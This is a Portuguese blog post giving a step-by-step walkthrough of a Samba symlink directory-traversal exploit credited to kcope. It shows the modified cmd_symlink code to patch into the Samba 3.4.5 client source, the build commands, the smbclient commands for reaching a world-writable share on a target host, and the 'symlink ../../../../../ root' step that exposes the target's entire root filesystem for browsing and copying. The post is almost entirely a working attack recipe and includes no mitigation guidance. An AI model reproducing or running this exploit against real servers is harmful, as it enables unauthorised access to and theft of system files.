O assunto do dia foi esse, depois que o kcope publicou o exploit do samba ontem (04-02-2010), muito semelhante a que ocorreu em 2004, fui testa-lo para ser assunto de mais um post aqui no blog. Quando explorado a falha, é possível  listar, ler e copiar arquivos para o sistema atacado, não somente no diretório compartilhado pelo samba, mas sim todo o “/” do seu linux. Nos testes que realizei (Debian), só foi preciso criar um compartilhamento com permissão de escrita para todos, que é necessário para o xploit funcionar.

1) Mão na massa, primeiramente baixe o source do samba, eu utilizei a versão 3.4.5: http://samba.org/samba/ftp/stable/samba-3.4.5.tar.gz

2) Será necessário alterar um arquivo do source do samba e alterar um bloco como descrito abaixo:

vi ~/samba-3.4.5/source3/client/client.c

/****************************************************************************
UNIX symlink.
****************************************************************************/

static int cmd_symlink(void)
{
TALLOC_CTX *ctx = talloc_tos();
char *oldname = NULL;
char *newname = NULL;
char *buf = NULL;
char *buf2 = NULL;
char *targetname = NULL;
struct cli_state *targetcli;

if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) ||
!next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) {
d_printf(“symlink <oldname> <newname>\n”);
return 1;
}
oldname = talloc_asprintf(ctx,
“%s”,                // << HERE modified
buf);
if (!oldname) {
return 1;
}
newname = talloc_asprintf(ctx,
“%s”,                // << HERE modified
buf2);
if (!newname) {
return 1;
}
/* COMENTE
oldname = talloc_asprintf(ctx,
“%s%s”,                // < modified (see above)
client_get_cur_dir(),        // < removed (see above)
buf);
if (!oldname) {
return 1;
}
newname = talloc_asprintf(ctx,
“%s%s”,                // < modified (see above)
client_get_cur_dir(),        // < removed (see above)
buf2);
if (!newname) {
return 1;
}
———————————————-*/

if (!cli_resolve_path(ctx, “”, auth_info, cli, oldname, &targetcli, &targetname)) {
d_printf(“link %s: %s\n”, oldname, cli_errstr(cli));
return 1;

}

if (!SERVER_HAS_UNIX_CIFS(targetcli)) {
d_printf(“Server doesn’t support UNIX CIFS calls.\n”);
return 1;
}

if (!cli_unix_symlink(targetcli, targetname, newname)) {
d_printf(“%s symlinking files (%s -> %s)\n”,
cli_errstr(targetcli), newname, targetname);
return 1;
}

return 0;
}

——————————————————————————————————————————

Como visto acima, algumas linhas do bloco “UNIX symlink” foram alterados, a melhor opção é remover o bloco do arquivo original e colar o bloco acima no seu source.

3) Agora vamos compilar o samba:

# cd ~/samba-3.4.5/source3/

#./configure  && make && make install

4) Localizar o diretório compartilhado:

# smbclient -s /etc/samba/smb.conf -L //192.168.48.128

Irá listar os diretórios compartilhados no alvo, no meu caso deu um problema com uma biblioteca no momento da execução, para resolver alterei a variável LD_LIBRARY_PATH.

# export LD_LIBRARY_PATH=/usr/local/samba/lib    < local da lib do samba

5) Acessando o compartilhamento:

# smbclient -s /etc/samba/smb.conf   //192.168.48.128/shared

A pasta compartilhada chama-se “shared”, lembrando, ela deverá ter permissão total de escrita para o guest.

6) Xploit!!

Vc irá cair no prompt do samba (smb: \>), se vc executar o “ls”, ele irá listar os arquivo de dentro da pasta compartilhada, mas e agora??

no prompt do samba digite:  symlink ../../../../../ root

Executando o “ls” novamente, listará uma pasta chamada “root”, óóóóóóóóó!! Agora entre nela!

smb: \> cd root

smb: \root\> ls

UAUUU!! o conteúdo do “/” inteiro a disposição!! Agora é só navegar nas pastas e transferir arquivos!!

Esta 0day é de total crédito do kcope, autor de diversas 0day’s. (http://www.milw0rm.com/author/113 | http://twitter.com/Kingcope)

[]‘s Sergito

vi ~/samba-3.4.5/source3/client/client.c

« »